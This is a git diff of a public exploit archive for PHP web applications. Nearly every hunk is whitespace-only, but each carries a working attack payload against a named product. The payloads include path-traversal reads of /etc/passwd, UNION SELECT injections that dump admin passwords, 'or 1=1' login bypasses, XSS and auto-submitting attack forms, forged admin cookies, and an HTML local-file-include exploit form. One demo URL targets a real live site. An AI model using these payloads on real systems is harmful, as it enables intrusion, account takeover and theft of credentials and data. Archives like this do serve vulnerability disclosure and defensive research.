index 0ece9e47d..e3ca4fd7f 100755 --- a/platforms/php/webapps/3382.txt +++ b/platforms/php/webapps/3382.txt @@ -1,4 +1,4 @@ -######################################################################### + ######################################################################### # # # Admin Phorum 3.3.1.a (del.php include_path)File Include Vulnerability # # # diff --git a/platforms/php/webapps/33820.txt b/platforms/php/webapps/33820.txt index 0c0c832fa..8fd801266 100755 --- a/platforms/php/webapps/33820.txt +++ b/platforms/php/webapps/33820.txt @@ -7,4 +7,4 @@ An attacker can exploit these vulnerabilities to obtain potentially sensitive in PotatoNews 1.0.2 is vulnerable; other versions may also be affected. http://www.example.com/newcopy/timeago.php?nid=../../../../../../../[file]%00 -http://www.example.com/update/timeago.php?nid=../../../../../../../[file]%00 \ No newline at end of file +http://www.example.com/update/timeago.php?nid=../../../../../../../[file]%00 \ No newline at end of file diff --git a/platforms/php/webapps/33821.html b/platforms/php/webapps/33821.html index 34ce6a632..5afe0c4a9 100755 --- a/platforms/php/webapps/33821.html +++ b/platforms/php/webapps/33821.html @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to obtain potentially sensitive in n-cms-equipe 1.1C-Debug is vulnerable; other versions may also be affected. -<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> <title>#####coded by ahmadbady#####</title> <script language="JavaScript"> //=========================================================================== //( #Topic : N'CMS Updated 2010-02-24 //( #Bug type : local file include //( #Download : http://sourceforge.net/projects/n-cms/files/N-CMS%20Equipe/n-cms-equipe-V1.1C-Debug.zip/download //( #Advisory : //=========================================================================== //( #Author : ItSecTeam //( #Email : Bug@ITSecTeam.com # //( #Website: http://www.itsecteam.com # //( #Forum : http://forum.ITSecTeam.com # //--------------------------------------------------------------------- var variable1 ="?page=" var variable2 ="?tData[name]=" function it(){ if (xpl.file.value=="includs.php"){ variable1 = variable2; } xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.file0.value;xpl.submit(); } </script> </head> <body bgcolor="#FFFFFF"> <p align="left"><font color="#0000FF">N'CMS & N'Games local file include Vulnerability</font></p> <p align="left"><font color="#FF0000">vul1 file:/path/template/theme1/content/body.php</font></p> <p align="left"><font color="#FF0000">vul2 file:/path/template/theme1/content/includs.php</font></p> <p align="left"><font color="#0000FF">-----------------------------------</font></p> <form method="post" name="xpl" onSubmit="it();"> <p align="left"> <font size="2" face="Tahoma"> victim: <input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000" value="http://127.0.0.1"> path: <input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000" value="/path/template/theme1/content/"> file: <input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000">&nbsp;&nbsp; lfi code:&nbsp; <input type="text" name="file0" size="20";" style="color: #FFFFFF; background-color: #000000" value="..%2F..%2F..%2F..%2F..%2Fboot.ini%00"></p> </p> <center> </p> <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" value="reset" name="B2" style="float: left"></p> </form> <p><br> &nbsp;</p> </center> </body> </html> \ No newline at end of file +<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> <title>#####coded by ahmadbady#####</title> <script language="JavaScript"> //=========================================================================== //( #Topic : N'CMS Updated 2010-02-24 //( #Bug type : local file include //( #Download : http://sourceforge.net/projects/n-cms/files/N-CMS%20Equipe/n-cms-equipe-V1.1C-Debug.zip/download //( #Advisory : //=========================================================================== //( #Author : ItSecTeam //( #Email : Bug@ITSecTeam.com # //( #Website: http://www.itsecteam.com # //( #Forum : http://forum.ITSecTeam.com # //--------------------------------------------------------------------- var variable1 ="?page=" var variable2 ="?tData[name]=" function it(){ if (xpl.file.value=="includs.php"){ variable1 = variable2; } xpl.action= xpl.victim.value+xpl.path.value+xpl.file.value+variable1+xpl.file0.value;xpl.submit(); } </script> </head> <body bgcolor="#FFFFFF"> <p align="left"><font color="#0000FF">N'CMS & N'Games local file include Vulnerability</font></p> <p align="left"><font color="#FF0000">vul1 file:/path/template/theme1/content/body.php</font></p> <p align="left"><font color="#FF0000">vul2 file:/path/template/theme1/content/includs.php</font></p> <p align="left"><font color="#0000FF">-----------------------------------</font></p> <form method="post" name="xpl" onSubmit="it();"> <p align="left"> <font size="2" face="Tahoma"> victim: <input type="text" name="victim" size="20";" style="color: #FFFFFF; background-color: #000000" value="http://127.0.0.1"> path: <input type="text" name="path" size="20";" style="color: #FFFFFF; background-color: #000000" value="/path/template/theme1/content/"> file: <input type="text" name="file" size="20";" style="color: #FFFFFF; background-color: #000000">&nbsp;&nbsp; lfi code:&nbsp; <input type="text" name="file0" size="20";" style="color: #FFFFFF; background-color: #000000" value="..%2F..%2F..%2F..%2F..%2Fboot.ini%00"></p> </p> <center> </p> <p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset" value="reset" name="B2" style="float: left"></p> </form> <p><br> &nbsp;</p> </center> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/33832.txt b/platforms/php/webapps/33832.txt index caf96bb26..d08743737 100755 --- a/platforms/php/webapps/33832.txt +++ b/platforms/php/webapps/33832.txt @@ -10,4 +10,4 @@ An attacker can exploit these issues to gain unauthorized access to the affected Firmware versions prior to TANDBERG Video Communication Server 5.1.1 are vulnerable. -https://www.example.com/helppage.php?page=../../../../etc/passwd%00 \ No newline at end of file +https://www.example.com/helppage.php?page=../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/33833.txt b/platforms/php/webapps/33833.txt index 3c153612b..d697c9bec 100755 --- a/platforms/php/webapps/33833.txt +++ b/platforms/php/webapps/33833.txt @@ -7,4 +7,4 @@ Exploiting these issues can allow an attacker to steal cookie-based authenticati Blog System versions 1.5 and prior are affected. http://www.example.com/ADMIN/index.php?category=(home|comments|lists|habillage|info)&action=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/ADMIN/index.php?category=(home|comments|lists|habillage|info)&action=[LFI]%00 \ No newline at end of file +http://www.example.com/ADMIN/index.php?category=(home|comments|lists|habillage|info)&action=[LFI]%00 \ No newline at end of file diff --git a/platforms/php/webapps/33834.txt b/platforms/php/webapps/33834.txt index 2a29ac4c8..5f5fe866b 100755 --- a/platforms/php/webapps/33834.txt +++ b/platforms/php/webapps/33834.txt @@ -4,4 +4,4 @@ Vana CMS is prone to a vulnerability that lets attackers download arbitrary file Exploiting this issue will allow an attacker to view arbitrary files within the context of the application. Information harvested may aid in launching further attacks -http://www.example.com/download.php?filename=File.php \ No newline at end of file +http://www.example.com/download.php?filename=File.php \ No newline at end of file diff --git a/platforms/php/webapps/33854.txt b/platforms/php/webapps/33854.txt index fb3df2d10..0cd584ffb 100755 --- a/platforms/php/webapps/33854.txt +++ b/platforms/php/webapps/33854.txt @@ -4,4 +4,4 @@ Two-Step External Link module for vBulletin is prone to a cross-site scripting v An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/externalredirect.php?url=XSS \ No newline at end of file +http://www.example.com/externalredirect.php?url=XSS \ No newline at end of file diff --git a/platforms/php/webapps/33856.txt b/platforms/php/webapps/33856.txt index 932c97b70..d638d535c 100755 --- a/platforms/php/webapps/33856.txt +++ b/platforms/php/webapps/33856.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following example URI is available: -http://www.example.com/forum/view_topic.php?cat=1+union+select+1,concat(aUsername,0x3a,apassword),3,4,5,6,7+from+admins \ No newline at end of file +http://www.example.com/forum/view_topic.php?cat=1+union+select+1,concat(aUsername,0x3a,apassword),3,4,5,6,7+from+admins \ No newline at end of file diff --git a/platforms/php/webapps/33857.txt b/platforms/php/webapps/33857.txt index 632257c41..8a0fb57bd 100755 --- a/platforms/php/webapps/33857.txt +++ b/platforms/php/webapps/33857.txt @@ -4,4 +4,4 @@ e107 is prone to an SQL-injection vulnerability because it fails to sufficiently Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -<form action=http://host/e107_admin/banner.php method=POST name=f> <input type=hidden name=createbanner value="Create+New+Banner" > <input type=hidden name=click_url value="' ANY_SQL_HERE " > </form> <script> document.f.submit(); </script> \ No newline at end of file +<form action=http://host/e107_admin/banner.php method=POST name=f> <input type=hidden name=createbanner value="Create+New+Banner" > <input type=hidden name=click_url value="' ANY_SQL_HERE " > </form> <script> document.f.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/33858.txt b/platforms/php/webapps/33858.txt index 9082ad025..3dd41469b 100755 --- a/platforms/php/webapps/33858.txt +++ b/platforms/php/webapps/33858.txt @@ -41,9 +41,9 @@ DBSite w/b CMS Multiple XSS Vulnerability @Exploit: "><script>alert(document.cookie);</script> -@Demo 1: http://www.myserver/dbsite/index.php?page=default&id=1&&lang=[XSS] +@Demo 1: http://www.mysite.com/dbsite/index.php?page=default&id=1&&lang=[XSS] -@Demo 2: http://www.myserver/dbsite/index.php?page=default&id=1&lang=&[PATH]=[XSS] +@Demo 2: http://www.mysite.com/dbsite/index.php?page=default&id=1&lang=&[PATH]=[XSS] @Demo online 1: http://www.pratoturismo.it/index.php?page=default&id=8&lang=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E diff --git a/platforms/php/webapps/33874.txt b/platforms/php/webapps/33874.txt index bc0750fc8..8e2055c7e 100755 --- a/platforms/php/webapps/33874.txt +++ b/platforms/php/webapps/33874.txt @@ -15,4 +15,4 @@ http://www.example.com/workarea/medialist.aspx?action=ViewLibraryByCategory&sele URI Redirection issue: -http://www.example.com/workarea/blankredirect.aspx?http://www.example2.com \ No newline at end of file +http://www.example.com/workarea/blankredirect.aspx?http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/33875.txt b/platforms/php/webapps/33875.txt index bb8d89d15..43ab426fa 100755 --- a/platforms/php/webapps/33875.txt +++ b/platforms/php/webapps/33875.txt @@ -9,4 +9,4 @@ Huron CMS 8 11 2007 is vulnerable; other versions may also be affected. The following example data are available: Username: 'or 1=1/* -Password: 'or 1=1/* \ No newline at end of file +Password: 'or 1=1/* \ No newline at end of file diff --git a/platforms/php/webapps/33882.txt b/platforms/php/webapps/33882.txt index 9677e54d1..155dacdc2 100755 --- a/platforms/php/webapps/33882.txt +++ b/platforms/php/webapps/33882.txt @@ -4,4 +4,4 @@ Cyber CMS is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/faq.php?id=SQL_CODE \ No newline at end of file +http://www.example.com/faq.php?id=SQL_CODE \ No newline at end of file diff --git a/platforms/php/webapps/33888.txt b/platforms/php/webapps/33888.txt index 3e9eaf86c..1ee538316 100755 --- a/platforms/php/webapps/33888.txt +++ b/platforms/php/webapps/33888.txt @@ -4,4 +4,4 @@ ProArcadeScript is prone to a cross-site scripting vulnerability because it fail An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/search.php?searchstr= [XSS] \ No newline at end of file +http://www.example.com/search.php?searchstr= [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/33906.txt b/platforms/php/webapps/33906.txt index 9293f0106..915e3253e 100755 --- a/platforms/php/webapps/33906.txt +++ b/platforms/php/webapps/33906.txt @@ -11,4 +11,4 @@ The following example data is available: http://www.example.com/velBox-cms-p30vel/admin/ -javascript:document.cookie="login_admin=true;path=/ \ No newline at end of file +javascript:document.cookie="login_admin=true;path=/ \ No newline at end of file diff --git a/platforms/php/webapps/33908.txt b/platforms/php/webapps/33908.txt index 606f5ca99..562f1b136 100755 --- a/platforms/php/webapps/33908.txt +++ b/platforms/php/webapps/33908.txt @@ -8,4 +8,4 @@ The following example data is available : Inject the following into the login options field. -' or 1=1 or ''=' \ No newline at end of file +' or 1=1 or ''=' \ No newline at end of file diff --git a/platforms/php/webapps/33909.txt b/platforms/php/webapps/33909.txt index 5a494ec51..e92259527 100755 --- a/platforms/php/webapps/33909.txt +++ b/platforms/php/webapps/33909.txt @@ -8,4 +8,4 @@ Tele Data's Contact Management Server 0.9 is vulnerable; other versions may also The following proof-of-concept code is available: -javascript:document.forms[0][0].setAttribute("value","' or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--");document.forms[0].submit(); \ No newline at end of file +javascript:document.forms[0][0].setAttribute("value","' or 1=0 UNION SELECT 1 as RecID,0,'' AS Password,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROM Users;--");document.forms[0].submit(); \ No newline at end of file diff --git a/platforms/php/webapps/33913.html b/platforms/php/webapps/33913.html index 1362f8aff..9c010ccb1 100755 --- a/platforms/php/webapps/33913.html +++ b/platforms/php/webapps/33913.html @@ -8,4 +8,4 @@ The attacker may leverage the HTML-injection issue to execute arbitrary HTML and osCommerce 3.0a5 is affected; other versions may also be vulnerable. -http://www.example.com/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../cmd \ No newline at end of file +http://www.example.com/admin/includes/applications/services/pages/uninstall.php?module=../../../../../../../../cmd \ No newline at end of file diff --git a/platforms/php/webapps/33914.txt b/platforms/php/webapps/33914.txt index 9fe25bed7..f6e5cdd6c 100755 --- a/platforms/php/webapps/33914.txt +++ b/platforms/php/webapps/33914.txt @@ -9,4 +9,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example data is available: User: ' or '1=1 -Pass: ' or '1=1 \ No newline at end of file +Pass: ' or '1=1 \ No newline at end of file diff --git a/platforms/php/webapps/33915.txt b/platforms/php/webapps/33915.txt index 6d9598f6d..789e787d7 100755 --- a/platforms/php/webapps/33915.txt +++ b/platforms/php/webapps/33915.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Campsite versions 3.2 through 3.3.5 are vulnerable; other versions may also be affected. -http://www.example.com/javascript/tinymce/plugins/campsiteattachment/attachments.php?article_id=0+UNION+SELECT+Id,2,concat%28UName,0x2e,Password%29,4,5,6,7,8,9,10,11,12+FROM+liveuser_users+--+x \ No newline at end of file +http://www.example.com/javascript/tinymce/plugins/campsiteattachment/attachments.php?article_id=0+UNION+SELECT+Id,2,concat%28UName,0x2e,Password%29,4,5,6,7,8,9,10,11,12+FROM+liveuser_users+--+x \ No newline at end of file diff --git a/platforms/php/webapps/33917.txt b/platforms/php/webapps/33917.txt index 8d8ffa46a..e559a9d14 100755 --- a/platforms/php/webapps/33917.txt +++ b/platforms/php/webapps/33917.txt @@ -8,4 +8,4 @@ Billwerx RC5.2.2 PL2 is vulnerable; other versions may also be affected. The following example URI is available: -http://www.example.com/billwerx_rc522_pl2/request_account.php?campaign_id=1&group_id=6&interest_id=6&first_name=indoushka&last_name=indoushka&company_name=indoushka&home_number=indoushka&get_primary=indoushka&work_number=indoushka&mobile_number=indoushka&email_address=indoushka&comments=indoushka&request=REQUEST&close=CLOSE&primary_number=' [(SQL)] \ No newline at end of file +http://www.example.com/billwerx_rc522_pl2/request_account.php?campaign_id=1&group_id=6&interest_id=6&first_name=indoushka&last_name=indoushka&company_name=indoushka&home_number=indoushka&get_primary=indoushka&work_number=indoushka&mobile_number=indoushka&email_address=indoushka&comments=indoushka&request=REQUEST&close=CLOSE&primary_number=' [(SQL)] \ No newline at end of file diff --git a/platforms/php/webapps/33918.txt b/platforms/php/webapps/33918.txt index 27c6ccc6d..12264a751 100755 --- a/platforms/php/webapps/33918.txt +++ b/platforms/php/webapps/33918.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to upload arbitrary code and run it i CF Image Hosting Script 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/upload.php \ No newline at end of file +http://www.example.com/upload.php \ No newline at end of file diff --git a/platforms/php/webapps/33921.txt b/platforms/php/webapps/33921.txt index f91dee74c..99b0e8c2b 100755 --- a/platforms/php/webapps/33921.txt +++ b/platforms/php/webapps/33921.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access http://www.example.com/sound.php?catid=2 sql http://www.example.com/details.php?linkid=-7 union select user(),1,2,database(),version(),5,6,7,8-- -http://www.example.com/send.php?linkid=-5 union select user(),1,2,3,4,5,6,7,8-- \ No newline at end of file +http://www.example.com/send.php?linkid=-5 union select user(),1,2,3,4,5,6,7,8-- \ No newline at end of file diff --git a/platforms/php/webapps/33922.txt b/platforms/php/webapps/33922.txt index 6e0e65ce0..37d0c5cc9 100755 --- a/platforms/php/webapps/33922.txt +++ b/platforms/php/webapps/33922.txt @@ -7,4 +7,4 @@ An attacker can exploit these vulnerabilities to upload arbitrary code and run i CH-CMS.ch 2 is vulnerable; other versions may also be affected. http://www.example.com/Final/login/ava_up1.php -http://www.example.com/Final/login/ava_up12.php \ No newline at end of file +http://www.example.com/Final/login/ava_up12.php \ No newline at end of file diff --git a/platforms/php/webapps/33927.txt b/platforms/php/webapps/33927.txt index 436cc655f..6c5cc2cc5 100755 --- a/platforms/php/webapps/33927.txt +++ b/platforms/php/webapps/33927.txt @@ -4,4 +4,4 @@ eZoneScripts Apartment Search Script is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/productdemos/ApartmentSearch/listtest.php?r=-1 union select 0,user()-- \ No newline at end of file +http://www.example.com/productdemos/ApartmentSearch/listtest.php?r=-1 union select 0,user()-- \ No newline at end of file diff --git a/platforms/php/webapps/33933.txt b/platforms/php/webapps/33933.txt index 1f06517b0..6d946ef71 100755 --- a/platforms/php/webapps/33933.txt +++ b/platforms/php/webapps/33933.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ThinkPHP 2.0 is vulnerable; prior versions may also be affected. -http://www.example.com/index.php?s=1%3Cbody+onload=alert(1)%3E \ No newline at end of file +http://www.example.com/index.php?s=1%3Cbody+onload=alert(1)%3E \ No newline at end of file diff --git a/platforms/php/webapps/33934.txt b/platforms/php/webapps/33934.txt index 3da642e02..f2bb86aad 100755 --- a/platforms/php/webapps/33934.txt +++ b/platforms/php/webapps/33934.txt @@ -24,4 +24,4 @@ javascript:document.cookie="SiteAdminPass=1; path=/productdemos/ApartmentSearch/ phpMiniSite Script: -javascript:document.cookie="auth=fook; path=/"; \ No newline at end of file +javascript:document.cookie="auth=fook; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/33945.txt b/platforms/php/webapps/33945.txt index 9f951156f..f09cafdcf 100755 --- a/platforms/php/webapps/33945.txt +++ b/platforms/php/webapps/33945.txt @@ -9,4 +9,4 @@ DeluxeBB 1.3 and earlier versions are vulnerable. The following example data is available: membercookie=guest -memberid=xx',(select+concat(username,0x2e,pass)+from+deluxebb_users+limit+1),'none',0,0,0,0,0,'guest','1269081154')+--+x \ No newline at end of file +memberid=xx',(select+concat(username,0x2e,pass)+from+deluxebb_users+limit+1),'none',0,0,0,0,0,'guest','1269081154')+--+x \ No newline at end of file diff --git a/platforms/php/webapps/33946.txt b/platforms/php/webapps/33946.txt index 7b6df19f8..9389daadb 100755 --- a/platforms/php/webapps/33946.txt +++ b/platforms/php/webapps/33946.txt @@ -7,4 +7,4 @@ Attackers can exploit this vulnerability to gain administrative access to the af The following example data is available: www.example.com/admin -javascript:document.cookie="login=right;path=/"; \ No newline at end of file +javascript:document.cookie="login=right;path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/33947.txt b/platforms/php/webapps/33947.txt index c42ae73f9..66ad4ce4b 100755 --- a/platforms/php/webapps/33947.txt +++ b/platforms/php/webapps/33947.txt @@ -4,4 +4,4 @@ Last Wizardz is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/content.php?id=NULL+UNION+ALL+SELECT+1,CONCAT(id,0x3a,admin,0x3a,admin_pass),3,4,5,6,7,8+FROM+site_admin \ No newline at end of file +http://www.example.com/content.php?id=NULL+UNION+ALL+SELECT+1,CONCAT(id,0x3a,admin,0x3a,admin_pass),3,4,5,6,7,8+FROM+site_admin \ No newline at end of file diff --git a/platforms/php/webapps/33950.txt b/platforms/php/webapps/33950.txt index f754dd18a..294ab298e 100755 --- a/platforms/php/webapps/33950.txt +++ b/platforms/php/webapps/33950.txt @@ -4,4 +4,4 @@ HAWHAW is prone to an SQL-injection vulnerability because it fails to sufficient Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wap/newsread.php?storyid=-1+UNION+SELECT+1,@@version,3,4 \ No newline at end of file +http://www.example.com/wap/newsread.php?storyid=-1+UNION+SELECT+1,@@version,3,4 \ No newline at end of file diff --git a/platforms/php/webapps/33960.txt b/platforms/php/webapps/33960.txt index 93da47882..1396de308 100755 --- a/platforms/php/webapps/33960.txt +++ b/platforms/php/webapps/33960.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=15%20or%201=2 -http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2 \ No newline at end of file +http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20length(session_user())=14%20or%201=2 \ No newline at end of file diff --git a/platforms/php/webapps/33969.txt b/platforms/php/webapps/33969.txt index 7a5ccf85d..ebfc9fb01 100755 --- a/platforms/php/webapps/33969.txt +++ b/platforms/php/webapps/33969.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc eFront 3.6.2 and prior versions are vulnerable. -http://www.example.com/www/ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x \ No newline at end of file +http://www.example.com/www/ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x \ No newline at end of file diff --git a/platforms/php/webapps/33975.html b/platforms/php/webapps/33975.html index d1109fbd8..86fc93094 100755 --- a/platforms/php/webapps/33975.html +++ b/platforms/php/webapps/33975.html @@ -4,4 +4,4 @@ Affiliate Store Builder is prone to multiple SQL-injection vulnerabilities becau Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -<form action='http://www.example.com/admin/edit_cms.php?page=1' name="frm" method='post' > <input name="title" type="hidden" value="Home"/> <input name="type" type="hidden" value="header"/> <input name="desc_meta" type="hidden" value="page+desc" /> <input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' /> <input name="cms_id" type="hidden" value="1" /> <input name="edit_page" type="hidden" value="Edit+Page" /> </form> <script> document.frm.submit(); </script> \ No newline at end of file +<form action='http://www.example.com/admin/edit_cms.php?page=1' name="frm" method='post' > <input name="title" type="hidden" value="Home"/> <input name="type" type="hidden" value="header"/> <input name="desc_meta" type="hidden" value="page+desc" /> <input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' /> <input name="cms_id" type="hidden" value="1" /> <input name="edit_page" type="hidden" value="Edit+Page" /> </form> <script> document.frm.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/33978.txt b/platforms/php/webapps/33978.txt index 9737f57c7..8d878d6d7 100755 --- a/platforms/php/webapps/33978.txt +++ b/platforms/php/webapps/33978.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application, acc TomatoCMS 2.0.6 and prior are vulnerable. -http://www.example.com/news/search?q=sdf%22+ANY_SQL_HERE \ No newline at end of file +http://www.example.com/news/search?q=sdf%22+ANY_SQL_HERE \ No newline at end of file diff --git a/platforms/php/webapps/33982.txt b/platforms/php/webapps/33982.txt index a48c316fe..a3c5163fa 100755 --- a/platforms/php/webapps/33982.txt +++ b/platforms/php/webapps/33982.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc NPDS Revolution 10.02 is vulnerable; other versions may also be affected. -http://www.example.com/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC-- \ No newline at end of file +http://www.example.com/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC-- \ No newline at end of file diff --git a/platforms/php/webapps/33986.txt b/platforms/php/webapps/33986.txt index 3fccdfc38..03045c2f3 100755 --- a/platforms/php/webapps/33986.txt +++ b/platforms/php/webapps/33986.txt @@ -4,4 +4,4 @@ PHP File Uploader is prone to a vulnerability that lets attackers upload arbitra An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks may also possible. -http://www.example.com/PHPFileUploader/_uploads/ch99.php__2010-01-02_10.00am.php \ No newline at end of file +http://www.example.com/PHPFileUploader/_uploads/ch99.php__2010-01-02_10.00am.php \ No newline at end of file diff --git a/platforms/php/webapps/33987.txt b/platforms/php/webapps/33987.txt index c9406a73b..bd60e8139 100755 --- a/platforms/php/webapps/33987.txt +++ b/platforms/php/webapps/33987.txt @@ -7,3 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP Banner Exchange 1.2 is vulnerable; other versions may also be affected. http://www.example.com/signupconfirm.php?name=indoushkax&login=hacked&pass=exploit&email=indoushka%40hotmail%2E.com&url=http%3A%2F%2F&bannerurl=<script>alert(213771818860)</script>&submit=%C7%D6%DB%D8%20%E3%D1%C9%20%E6%C7%CD%CF%C9%20%E1%E1%C7%D4%CA%D1%C7%DF + \ No newline at end of file diff --git a/platforms/php/webapps/33993.txt b/platforms/php/webapps/33993.txt index f723e90fa..c55f5c3d4 100755 --- a/platforms/php/webapps/33993.txt +++ b/platforms/php/webapps/33993.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Planet Script 1.3 and prior are vulnerable. -http://www.example.com/idomains.php?do=encode&decoded=&ext=[ Xss ] \ No newline at end of file +http://www.example.com/idomains.php?do=encode&decoded=&ext=[ Xss ] \ No newline at end of file diff --git a/platforms/php/webapps/33994.txt b/platforms/php/webapps/33994.txt index 71e7fb028..d337c3092 100755 --- a/platforms/php/webapps/33994.txt +++ b/platforms/php/webapps/33994.txt @@ -6,4 +6,4 @@ Attackers can exploit this vulnerability to gain administrative access to the af The following example data is available: -javascript:document.cookie="username=admin"; \ No newline at end of file +javascript:document.cookie="username=admin"; \ No newline at end of file diff --git a/platforms/php/webapps/33998.html b/platforms/php/webapps/33998.html index c8863f87f..79f3d6b4e 100755 --- a/platforms/php/webapps/33998.html +++ b/platforms/php/webapps/33998.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to JComments 2.2 are vulnerable. -<form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="example@example.com"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form method="POST" action="http://joomla/administrator/index.php" name="main"> <input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'> <input type="hidden" name="email" value="example@example.com"> <input type="hidden" name="comment" value="comment text"> <input type="hidden" name="published" value="1"> <input type="hidden" name="option" value="com_jcomments"> <input type="hidden" name="id" value="1"> <input type="hidden" name="task" value="save"> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34008.txt b/platforms/php/webapps/34008.txt index 93ebf9621..30d265acd 100755 --- a/platforms/php/webapps/34008.txt +++ b/platforms/php/webapps/34008.txt @@ -12,4 +12,4 @@ com_perchadownloadsattach com_perchagallery com_perchacategoriestree -http://www.example.com/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_perchacategoriestree&controller=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/34011.txt b/platforms/php/webapps/34011.txt index 39700ac41..a912cad31 100755 --- a/platforms/php/webapps/34011.txt +++ b/platforms/php/webapps/34011.txt @@ -4,4 +4,4 @@ Shopzilla Affiliate Script PHP is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/search.php?s=%3Cscript%3Ealert(/XSS/)%3C/script%3E \ No newline at end of file +http://www.example.com/search.php?s=%3Cscript%3Ealert(/XSS/)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34014.txt b/platforms/php/webapps/34014.txt index eb393dbba..e981ba8a8 100755 --- a/platforms/php/webapps/34014.txt +++ b/platforms/php/webapps/34014.txt @@ -4,4 +4,4 @@ Web 2.0 Social Network Freunde Community System is prone to an SQL-injection vul Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/cms/user.php?toDo=showgallery&id=999999999999+UNION+SELECT+1,concat(password,0x3a,id),3,4,5,6,7,8,9,10,11,12,13,14+from+admin \ No newline at end of file 